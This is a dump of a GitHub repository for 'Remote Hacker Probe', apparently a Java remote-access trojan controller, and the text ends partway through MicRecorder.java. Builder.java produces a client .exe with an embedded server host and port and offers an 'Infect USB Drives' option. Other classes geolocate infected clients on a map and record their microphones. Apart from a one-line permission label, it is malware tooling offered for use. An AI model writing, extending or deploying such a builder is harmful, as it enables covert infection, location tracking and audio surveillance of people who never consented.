-------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/57.png -------------------------------------------------------------------------------- /gui/icons/58.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/58.png -------------------------------------------------------------------------------- /gui/icons/59.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/59.png -------------------------------------------------------------------------------- /gui/icons/60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/60.png -------------------------------------------------------------------------------- /gui/icons/61.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/61.png -------------------------------------------------------------------------------- /gui/icons/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/7.png -------------------------------------------------------------------------------- /gui/icons/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/9.png -------------------------------------------------------------------------------- /gui/icons/arrows.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/arrows.png -------------------------------------------------------------------------------- /gui/icons/files/001-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/001-file.png -------------------------------------------------------------------------------- /gui/icons/files/003-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/003-file.png -------------------------------------------------------------------------------- /gui/icons/files/008-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/008-file.png -------------------------------------------------------------------------------- /gui/icons/files/020-cancel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/020-cancel.png -------------------------------------------------------------------------------- /gui/icons/files/021-audio.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/021-audio.png -------------------------------------------------------------------------------- /gui/icons/files/023-video.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/023-video.png -------------------------------------------------------------------------------- /gui/icons/files/024-code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/024-code.png -------------------------------------------------------------------------------- /gui/icons/files/025-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/025-image.png -------------------------------------------------------------------------------- /gui/icons/files/027-network.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/027-network.png -------------------------------------------------------------------------------- /gui/icons/files/028-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/028-file.png -------------------------------------------------------------------------------- /gui/icons/files/030-CV.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/030-CV.png -------------------------------------------------------------------------------- /gui/icons/files/034-shield.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/034-shield.png -------------------------------------------------------------------------------- /gui/icons/files/039-archive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/039-archive.png -------------------------------------------------------------------------------- /gui/icons/files/040-user.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/040-user.png -------------------------------------------------------------------------------- /gui/icons/files/041-corrupt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/041-corrupt.png -------------------------------------------------------------------------------- /gui/icons/files/043-setting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/files/043-setting.png -------------------------------------------------------------------------------- /gui/icons/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/folder.png -------------------------------------------------------------------------------- /gui/icons/mic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/mic.png -------------------------------------------------------------------------------- /gui/icons/micred.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/micred.png -------------------------------------------------------------------------------- /gui/icons/readme.txt: -------------------------------------------------------------------------------- 1 | Icon pack : interface by chanaut @ flaticon and ui and ux by xnimrodx @ flaticon 2 | folder icon : freepik @flaticon 3 | file icon : phatplus @flaticon 4 | -------------------------------------------------------------------------------- /gui/img/hacker-cat.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/img/hacker-cat.gif -------------------------------------------------------------------------------- /gui/img/hamster.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/img/hamster.gif -------------------------------------------------------------------------------- /gui/os_ports.rhp: -------------------------------------------------------------------------------- 1 | 21 2 | 22 3 | 23 4 | 25 5 | 53 6 | 80 7 | 110 8 | 111 9 | 135 10 | 139 11 | 143 12 | 443 13 | 445 14 | 993 15 | 995 16 | 1723 17 | 3306 18 | 3389 19 | 5900 20 | 8080 -------------------------------------------------------------------------------- /gui/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4.0.0 3 | RHP 4 | rhp 5 | 0.0.1-SNAPSHOT 6 | 7 | 8 | com.maxmind.geoip2 9 | geoip2 10 | 2.15.0 11 | 12 | 13 | com.github.weisj 14 | darklaf-core 15 | 2.5.3 16 | 17 | 18 | org.jxmapviewer 19 | jxmapviewer2 20 | 2.5 21 | 22 | 23 | commons-io 24 | commons-io 25 | 2.6 26 | 27 | 28 | com.googlecode.json-simple 29 | json-simple 30 | 1.1.1 31 | 32 | 33 | -------------------------------------------------------------------------------- /gui/rhp.ini: -------------------------------------------------------------------------------- 1 | host=0.0.0.0 2 | port=1234 3 | theme=Light -------------------------------------------------------------------------------- /gui/screenshots/README.md: -------------------------------------------------------------------------------- 1 | ### Screenshots -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Builder.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | 6 | import javax.swing.JButton; 7 | import javax.swing.JDialog; 8 | import javax.swing.JFileChooser; 9 | import javax.swing.JPanel; 10 | import javax.swing.border.EmptyBorder; 11 | import javax.swing.filechooser.FileNameExtensionFilter; 12 | 13 | import org.apache.commons.codec.binary.Base64; 14 | 15 | import javax.swing.JLabel; 16 | import javax.swing.JOptionPane; 17 | 18 | import java.awt.Font; 19 | import javax.swing.JTextField; 20 | import java.awt.event.ActionListener; 21 | import java.io.File; 22 | import java.io.FileInputStream; 23 | import java.io.FileOutputStream; 24 | import java.io.FileWriter; 25 | import java.io.IOException; 26 | import java.io.InputStream; 27 | import java.io.OutputStream; 28 | import java.awt.event.ActionEvent; 29 | import javax.swing.JCheckBox; 30 | import javax.swing.GroupLayout; 31 | import javax.swing.GroupLayout.Alignment; 32 | import javax.swing.LayoutStyle.ComponentPlacement; 33 | 34 | public class Builder extends JDialog { 35 | 36 | private final JPanel contentPanel = new JPanel(); 37 | private JTextField portvalue; 38 | static JCheckBox usb; 39 | 40 | /** 41 | * Launch the application. 42 | */ 43 | 44 | private static void copyFile(File source, File dest) throws IOException { 45 | InputStream is = null; 46 | OutputStream os = null; 47 | try { 48 | is = new FileInputStream(source); 49 | os = new FileOutputStream(dest); 50 | byte[] buffer = new byte[1024]; 51 | int length; 52 | while ((length = is.read(buffer)) > 0) { 53 | os.write(buffer, 0, length); 54 | } 55 | } finally { 56 | is.close(); 57 | os.close(); 58 | } 59 | } 60 | 61 | public static void build(String FilePath, String Host, String Port) 62 | { 63 | 64 | File stub = new File("probe_bin"); 65 | String usbthread = ""; 66 | 67 | if(usb.isSelected()) 68 | { 69 | usbthread = "1"; 70 | } else { 71 | usbthread = "0"; 72 | } 73 | 74 | String fullvalue = Host + ":" + Port + ":" + usbthread; 75 | 76 | File destination = new File(FilePath); 77 | if(stub.exists()) { 78 | try { 79 | copyFile(stub, destination); 80 | FileWriter wt = new FileWriter(destination, true); 81 | wt.write("\n\n"); wt.write(fullvalue); 82 | wt.close(); 83 | JOptionPane.showMessageDialog(null, "Built Client : " + destination); 84 | } catch (IOException e) { 85 | // TODO Auto-generated catch block 86 | e.printStackTrace(); 87 | } 88 | } else { 89 | JOptionPane.showMessageDialog(null, "ERROR : Cannot create stub because file 'probe_bin' is missing! Which is required!"); 90 | } 91 | } 92 | 93 | /** 94 | * Create the dialog. 95 | */ 96 | public Builder() { 97 | setResizable(false); 98 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 99 | setTitle("Remote Hacker Probe | Client Builder"); 100 | setBounds(100, 100, 379, 180); 101 | getContentPane().setLayout(new BorderLayout()); 102 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 103 | getContentPane().add(contentPanel, BorderLayout.CENTER); 104 | 105 | JLabel host = new JLabel("Server Host : "); 106 | host.setFont(new Font("Calibri", Font.PLAIN, 12)); 107 | 108 | JLabel lblNewLabel = new JLabel("Server Port : "); 109 | lblNewLabel.setFont(new Font("Calibri", Font.PLAIN, 12)); 110 | 111 | JTextField hostvalue = new JTextField(); 112 | hostvalue.setFont(new Font("Consolas", Font.PLAIN, 12)); 113 | hostvalue.setColumns(10); 114 | 115 | portvalue = new JTextField(); 116 | portvalue.setFont(new Font("Consolas", Font.PLAIN, 12)); 117 | portvalue.setColumns(10); 118 | 119 | JButton btnNewButton = new JButton("Build"); 120 | btnNewButton.addActionListener(new ActionListener() { 121 | public void actionPerformed(ActionEvent e) { 122 | String hs = hostvalue.getText(); 123 | String ps = portvalue.getText(); 124 | if(hs.length() > 0 && ps.length() > 0) 125 | { 126 | byte[] encodedHost = Base64.encodeBase64(hs.getBytes()); 127 | String b64host = new String(encodedHost); 128 | 129 | byte[] encodedPort = Base64.encodeBase64(ps.getBytes()); 130 | String b64port = new String(encodedPort); 131 | 132 | 133 | 134 | File fileToSave = null; 135 | JFileChooser fileChooser = new JFileChooser(); 136 | FileNameExtensionFilter filter = new FileNameExtensionFilter("EXE File","exe"); 137 | fileChooser.setFileFilter(filter); 138 | fileChooser.setDialogTitle("Where should this file be saved?"); 139 | int userSelection = fileChooser.showSaveDialog(null); 140 | 141 | if (userSelection == JFileChooser.APPROVE_OPTION) { 142 | fileToSave = fileChooser.getSelectedFile(); 143 | build(fileToSave.getAbsolutePath() + ".exe", b64host, b64port); 144 | 145 | } 146 | 147 | } else { 148 | JOptionPane.showMessageDialog(null, "One or more values have been left empty."); 149 | } 150 | } 151 | }); 152 | btnNewButton.setFont(new Font("Calibri", Font.BOLD, 12)); 153 | 154 | JLabel lblNewLabel_1 = new JLabel("Only install where you have permission to do so!"); 155 | lblNewLabel_1.setFont(new Font("Calibri", Font.PLAIN, 12)); 156 | 157 | usb = new JCheckBox("Infect USB Drives"); 158 | 159 | usb.setFont(new Font("Calibri", Font.PLAIN, 12)); 160 | GroupLayout gl_contentPanel = new GroupLayout(contentPanel); 161 | gl_contentPanel.setHorizontalGroup( 162 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 163 | .addGroup(gl_contentPanel.createSequentialGroup() 164 | .addGap(5) 165 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 166 | .addComponent(lblNewLabel_1, GroupLayout.PREFERRED_SIZE, 277, GroupLayout.PREFERRED_SIZE) 167 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 168 | .addGroup(gl_contentPanel.createSequentialGroup() 169 | .addComponent(lblNewLabel, GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) 170 | .addComponent(portvalue, GroupLayout.PREFERRED_SIZE, 261, GroupLayout.PREFERRED_SIZE) 171 | .addGap(2)) 172 | .addGroup(gl_contentPanel.createSequentialGroup() 173 | .addComponent(host, GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) 174 | .addComponent(hostvalue, GroupLayout.PREFERRED_SIZE, 261, GroupLayout.PREFERRED_SIZE) 175 | .addGap(2)) 176 | .addGroup(gl_contentPanel.createSequentialGroup() 177 | .addPreferredGap(ComponentPlacement.RELATED) 178 | .addComponent(usb, GroupLayout.DEFAULT_SIZE, 123, Short.MAX_VALUE) 179 | .addGap(129) 180 | .addComponent(btnNewButton, GroupLayout.DEFAULT_SIZE, 86, Short.MAX_VALUE) 181 | .addPreferredGap(ComponentPlacement.RELATED)))) 182 | .addGap(0)) 183 | ); 184 | gl_contentPanel.setVerticalGroup( 185 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 186 | .addGroup(gl_contentPanel.createSequentialGroup() 187 | .addGap(6) 188 | .addComponent(lblNewLabel_1, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE) 189 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 190 | .addGroup(gl_contentPanel.createSequentialGroup() 191 | .addGap(19) 192 | .addComponent(host, GroupLayout.PREFERRED_SIZE, 14, Short.MAX_VALUE) 193 | .addGap(7)) 194 | .addGroup(gl_contentPanel.createSequentialGroup() 195 | .addGap(9) 196 | .addComponent(hostvalue, GroupLayout.DEFAULT_SIZE, 31, Short.MAX_VALUE))) 197 | .addPreferredGap(ComponentPlacement.RELATED) 198 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 199 | .addGroup(gl_contentPanel.createSequentialGroup() 200 | .addGap(14) 201 | .addComponent(lblNewLabel, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE)) 202 | .addGroup(gl_contentPanel.createSequentialGroup() 203 | .addGap(4) 204 | .addComponent(portvalue, GroupLayout.DEFAULT_SIZE, 31, Short.MAX_VALUE))) 205 | .addPreferredGap(ComponentPlacement.RELATED) 206 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.BASELINE) 207 | .addComponent(usb) 208 | .addComponent(btnNewButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) 209 | .addGap(7)) 210 | ); 211 | contentPanel.setLayout(gl_contentPanel); 212 | } 213 | } 214 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/FancyWaypointRenderer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * WaypointRenderer.java 3 | * 4 | * Created on March 30, 2006, 5:24 PM 5 | * 6 | * To change this template, choose Tools | Template Manager 7 | * and open the template in the editor. 8 | */ 9 | 10 | package rhp; 11 | 12 | import java.awt.Color; 13 | import java.awt.Font; 14 | import java.awt.FontMetrics; 15 | import java.awt.Graphics2D; 16 | import java.awt.geom.Point2D; 17 | import java.awt.image.BufferedImage; 18 | import java.io.File; 19 | import java.net.URL; 20 | import java.util.HashMap; 21 | import java.util.Map; 22 | 23 | import javax.imageio.ImageIO; 24 | 25 | import org.apache.commons.logging.Log; 26 | import org.apache.commons.logging.LogFactory; 27 | import org.jxmapviewer.JXMapViewer; 28 | import org.jxmapviewer.viewer.WaypointRenderer; 29 | 30 | /** 31 | * A fancy waypoint painter 32 | * @author Martin Steiger 33 | */ 34 | public class FancyWaypointRenderer implements WaypointRenderer 35 | { 36 | private static final Log log = LogFactory.getLog(FancyWaypointRenderer.class); 37 | 38 | private final Map map = new HashMap(); 39 | private final Font font = new Font("Calibri", Font.BOLD, 12); 40 | 41 | private BufferedImage origImage; 42 | 43 | /** 44 | * Uses a default waypoint image 45 | */ 46 | public FancyWaypointRenderer() 47 | { 48 | File x = new File("waypoint_white.png"); 49 | try 50 | { 51 | origImage = ImageIO.read(x); 52 | } 53 | catch (Exception ex) 54 | { 55 | log.warn("couldn't read waypoint_white.png", ex); 56 | } 57 | } 58 | 59 | private BufferedImage convert(BufferedImage loadImg, Color newColor) 60 | { 61 | int w = loadImg.getWidth(); 62 | int h = loadImg.getHeight(); 63 | BufferedImage imgOut = new BufferedImage(w, h, BufferedImage.TYPE_INT_ARGB); 64 | BufferedImage imgColor = new BufferedImage(w, h, BufferedImage.TYPE_INT_ARGB); 65 | 66 | Graphics2D g = imgColor.createGraphics(); 67 | g.setColor(newColor); 68 | g.fillRect(0, 0, w+1, h+1); 69 | g.dispose(); 70 | 71 | Graphics2D graphics = imgOut.createGraphics(); 72 | graphics.drawImage(loadImg, 0, 0, null); 73 | graphics.setComposite(MultiplyComposite.Default); 74 | graphics.drawImage(imgColor, 0, 0, null); 75 | graphics.dispose(); 76 | 77 | return imgOut; 78 | } 79 | 80 | @Override 81 | public void paintWaypoint(Graphics2D g, JXMapViewer viewer, MyWaypoint w) 82 | { 83 | g = (Graphics2D)g.create(); 84 | 85 | if (origImage == null) 86 | return; 87 | 88 | BufferedImage myImg = map.get(w.getColor()); 89 | 90 | if (myImg == null) 91 | { 92 | myImg = convert(origImage, w.getColor()); 93 | map.put(w.getColor(), myImg); 94 | } 95 | 96 | Point2D point = viewer.getTileFactory().geoToPixel(w.getPosition(), viewer.getZoom()); 97 | 98 | int x = (int)point.getX(); 99 | int y = (int)point.getY(); 100 | 101 | g.drawImage(myImg, x -myImg.getWidth() / 2, y -myImg.getHeight(), null); 102 | 103 | String label = w.getLabel(); 104 | g.setColor(Color.BLACK); 105 | g.setFont(font); 106 | 107 | FontMetrics metrics = g.getFontMetrics(); 108 | int tw = metrics.stringWidth(label); 109 | int th = 1 + metrics.getAscent(); 110 | 111 | // g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); 112 | g.drawString(label, x - tw / 2, y + th - myImg.getHeight()); 113 | 114 | g.dispose(); 115 | } 116 | } -------------------------------------------------------------------------------- /gui/src/main/java/rhp/ImageViewer.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | 6 | import javax.swing.ImageIcon; 7 | import javax.swing.JButton; 8 | import javax.swing.JDialog; 9 | import javax.swing.JLabel; 10 | import javax.swing.JPanel; 11 | import javax.swing.border.EmptyBorder; 12 | import javax.swing.GroupLayout; 13 | import javax.swing.GroupLayout.Alignment; 14 | 15 | public class ImageViewer extends JDialog { 16 | static String ImagePath; 17 | 18 | 19 | public ImageViewer() { 20 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 21 | setTitle("Remote Hacker Probe | Image Viewer (displaying : " + ImagePath + ")"); 22 | setBounds(100, 100, 911, 502); 23 | 24 | JLabel lblNewLabel = new JLabel(new StretchIcon(ImagePath)); 25 | GroupLayout groupLayout = new GroupLayout(getContentPane()); 26 | groupLayout.setHorizontalGroup( 27 | groupLayout.createParallelGroup(Alignment.LEADING) 28 | .addGroup(groupLayout.createSequentialGroup() 29 | .addContainerGap() 30 | .addComponent(lblNewLabel, GroupLayout.DEFAULT_SIZE, 673, Short.MAX_VALUE) 31 | .addContainerGap()) 32 | ); 33 | groupLayout.setVerticalGroup( 34 | groupLayout.createParallelGroup(Alignment.LEADING) 35 | .addGroup(groupLayout.createSequentialGroup() 36 | .addContainerGap() 37 | .addComponent(lblNewLabel, GroupLayout.DEFAULT_SIZE, 398, Short.MAX_VALUE) 38 | .addGap(9)) 39 | ); 40 | getContentPane().setLayout(groupLayout); 41 | 42 | //JLabel lblNewLabel = new JLabel(); 43 | 44 | 45 | 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Map.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.Color; 5 | import java.awt.FlowLayout; 6 | 7 | import javax.swing.JButton; 8 | import javax.swing.JDialog; 9 | import javax.swing.JPanel; 10 | import javax.swing.border.EmptyBorder; 11 | import javax.swing.event.MouseInputListener; 12 | 13 | import org.jxmapviewer.JXMapViewer; 14 | import org.jxmapviewer.OSMTileFactoryInfo; 15 | import org.jxmapviewer.input.CenterMapListener; 16 | import org.jxmapviewer.input.PanKeyListener; 17 | import org.jxmapviewer.input.PanMouseInputListener; 18 | import org.jxmapviewer.input.ZoomMouseWheelListenerCenter; 19 | import org.jxmapviewer.viewer.DefaultTileFactory; 20 | import org.jxmapviewer.viewer.GeoPosition; 21 | import org.jxmapviewer.viewer.TileFactoryInfo; 22 | import org.jxmapviewer.viewer.WaypointPainter; 23 | 24 | import javax.swing.JTextPane; 25 | import java.awt.Font; 26 | import java.awt.event.ActionListener; 27 | import java.util.Arrays; 28 | import java.util.HashSet; 29 | import java.util.Set; 30 | import java.awt.event.ActionEvent; 31 | import javax.swing.JLabel; 32 | import javax.swing.JComboBox; 33 | import javax.swing.JTextField; 34 | 35 | class ComboItem 36 | { 37 | private String key; 38 | private String value; 39 | 40 | public ComboItem(String key) 41 | { 42 | this.key = key; 43 | this.value = value; 44 | } 45 | 46 | @Override 47 | public String toString() 48 | { 49 | return key; 50 | } 51 | 52 | public String getKey() 53 | { 54 | return key; 55 | } 56 | 57 | public String getValue() 58 | { 59 | return value; 60 | } 61 | } 62 | 63 | public class Map extends JDialog { 64 | 65 | public static int CLIENT_ID; 66 | private final JPanel contentPanel = new JPanel(); 67 | int zoomsize = 2; 68 | JLabel lc = new JLabel("Location"); 69 | JLabel gmlbl = new JLabel("Google Maps : "); 70 | final JXMapViewer mapViewer = new JXMapViewer(); 71 | Double lat = MainWindow.GetLatitude(CLIENT_ID); 72 | Double longi = MainWindow.GetLongitude(CLIENT_ID); 73 | private JTextField gm; 74 | /** 75 | * Create the dialog. 76 | */ 77 | 78 | public void UpdateMapInfo() 79 | { 80 | int mode = -1; 81 | lc.setText("IP Address : " + Server.WANIP.get(CLIENT_ID) + " Country : " + Server.ReturnLocation(mode)); 82 | gm.setText("https://www.google.com/maps?q=" + String.valueOf(lat) + "," + String.valueOf(longi)); 83 | GeoPosition posi = new GeoPosition(lat, longi); 84 | mapViewer.setAddressLocation(posi); 85 | 86 | } 87 | public Map() { 88 | setResizable(false); 89 | setTitle("Remote Hacker Probe | GeoLocation"); 90 | setBounds(100, 100, 526, 366); 91 | getContentPane().setLayout(new BorderLayout()); 92 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 93 | getContentPane().add(contentPanel, BorderLayout.CENTER); 94 | contentPanel.setLayout(null); 95 | 96 | JPanel panel = new JPanel(); 97 | panel.setBounds(10, 61, 499, 255); 98 | contentPanel.add(panel); 99 | panel.setLayout(null); 100 | 101 | 102 | 103 | // Create a TileFactoryInfo for OpenStreetMap 104 | TileFactoryInfo info = new OSMTileFactoryInfo(); 105 | DefaultTileFactory tileFactory = new DefaultTileFactory(info); 106 | mapViewer.setTileFactory(tileFactory); 107 | 108 | // Use 8 threads in parallel to load the tiles 109 | tileFactory.setThreadPoolSize(8); 110 | 111 | // Set the focus 112 | GeoPosition posi = new GeoPosition(lat, longi); 113 | mapViewer.setZoom(zoomsize); 114 | mapViewer.setAddressLocation(posi); 115 | // Display the viewer in a JFrame 116 | panel.add(mapViewer); 117 | mapViewer.setLayout(null); 118 | mapViewer.setBounds(0, 0, 499, 255); 119 | 120 | MouseInputListener mia = new PanMouseInputListener(mapViewer); 121 | mapViewer.addMouseListener(mia); 122 | mapViewer.addMouseMotionListener(mia); 123 | mapViewer.addMouseListener(new CenterMapListener(mapViewer)); 124 | mapViewer.addMouseWheelListener(new ZoomMouseWheelListenerCenter(mapViewer)); 125 | mapViewer.addKeyListener(new PanKeyListener(mapViewer)); 126 | 127 | Set waypoints = new HashSet(Arrays.asList( 128 | new MyWaypoint(Server.UserPC.get(CLIENT_ID), Color.RED, posi))); 129 | 130 | // Create a waypoint painter that takes all the waypoints 131 | WaypointPainter waypointPainter = new WaypointPainter(); 132 | waypointPainter.setWaypoints(waypoints); 133 | waypointPainter.setRenderer(new FancyWaypointRenderer()); 134 | 135 | mapViewer.setOverlayPainter(waypointPainter); 136 | 137 | JButton zoomin = new JButton("+"); 138 | zoomin.setToolTipText("Zoom in"); 139 | zoomin.addActionListener(new ActionListener() { 140 | public void actionPerformed(ActionEvent e) { 141 | zoomsize--; 142 | mapViewer.setZoom(zoomsize); 143 | } 144 | }); 145 | zoomin.setFont(new Font("Calibri", Font.BOLD, 12)); 146 | zoomin.setBounds(408, 34, 41, 23); 147 | contentPanel.add(zoomin); 148 | 149 | JButton zoomout = new JButton("-"); 150 | zoomout.setToolTipText("Zoom out"); 151 | zoomout.addActionListener(new ActionListener() { 152 | public void actionPerformed(ActionEvent e) { 153 | zoomsize++; 154 | mapViewer.setZoom(zoomsize); 155 | } 156 | }); 157 | zoomout.setFont(new Font("Calibri", Font.BOLD, 12)); 158 | zoomout.setBounds(459, 34, 41, 23); 159 | contentPanel.add(zoomout); 160 | 161 | 162 | lc.setFont(new Font("Calibri", Font.PLAIN, 12)); 163 | lc.setBounds(10, 11, 490, 14); 164 | contentPanel.add(lc); 165 | 166 | gmlbl.setFont(new Font("Calibri", Font.PLAIN, 12)); 167 | gmlbl.setBounds(10, 38, 86, 14); 168 | contentPanel.add(gmlbl); 169 | 170 | 171 | gm = new JTextField(); 172 | gm.setToolTipText("This url can be used to viewt the Clients location in Google maps."); 173 | gm.setFont(new Font("Consolas", Font.BOLD, 11)); 174 | gm.setBounds(92, 35, 302, 20); 175 | contentPanel.add(gm); 176 | gm.setColumns(10); 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/MicRecorder.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | 6 | import javax.swing.ImageIcon; 7 | import javax.swing.JButton; 8 | import javax.swing.JDialog; 9 | import javax.swing.JLabel; 10 | import javax.swing.JPanel; 11 | import javax.swing.border.EmptyBorder; 12 | import javax.swing.JToggleButton; 13 | import javax.swing.SwingUtilities; 14 | 15 | import java.awt.event.ActionListener; 16 | import java.awt.event.ItemEvent; 17 | import java.awt.event.ItemListener; 18 | import java.text.SimpleDateFormat; 19 | import java.util.Date; 20 | import java.util.concurrent.TimeUnit; 21 | import java.awt.event.ActionEvent; 22 | import java.awt.Font; 23 | import javax.swing.SwingConstants; 24 | 25 | public class MicRecorder extends JDialog { 26 | 27 | private final JPanel contentPanel = new JPanel(); 28 | static Boolean Record = false; 29 | static JLabel lbl ; 30 | static JToggleButton jtb; 31 | public static int CLIENT_ID; 32 | /** 33 | * Launch the application. 34 | */ 35 | static ImageIcon mic = new ImageIcon("icons/mic.png"); 36 | 37 | static ImageIcon micred = new ImageIcon("icons/micred.png"); 38 | 39 | 40 | static String getAlphaNumericString(int n) 41 | { 42 | 43 | String AlphaNumericString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 44 | + "0123456789" 45 | + "abcdefghijklmnopqrstuvxyz"; 46 | 47 | StringBuilder sb = new StringBuilder(n); 48 | 49 | for (int i = 0; i < n; i++) { 50 | int index 51 | = (int)(AlphaNumericString.length() 52 | * Math.random()); 53 | 54 | sb.append(AlphaNumericString 55 | .charAt(index)); 56 | } 57 | 58 | return sb.toString(); 59 | } 60 | 61 | public static String MicFilename() 62 | { 63 | // rhp_username_random5letteralphanumericstring + .wav; 64 | return "rhp_" + Server.UserPC.get(CLIENT_ID).replace(" ", "").split("/")[0].strip() + "_" + getAlphaNumericString(5) + ".wav"; 65 | } 66 | 67 | public static void AnimateGui() 68 | { 69 | jtb.setIcon(micred); 70 | Record = true; 71 | new Thread(new Runnable() 72 | { 73 | public void run() 74 | { 75 | long start = System.currentTimeMillis(); 76 | while (Record) 77 | { 78 | long time = System.currentTimeMillis() - start; 79 | int seconds = (int) (time / 1000); 80 | SwingUtilities.invokeLater(new Runnable() { 81 | public void run() 82 | { 83 | lbl.setText("Now Recording for : " + seconds + " Seconds"); 84 | } 85 | }); 86 | try { Thread.sleep(100); } catch(Exception e) {} 87 | 88 | if(!Record) { break; } 89 | } 90 | } 91 | }).start(); 92 | } 93 | 94 | /** 95 | * Create the dialog. 96 | */ 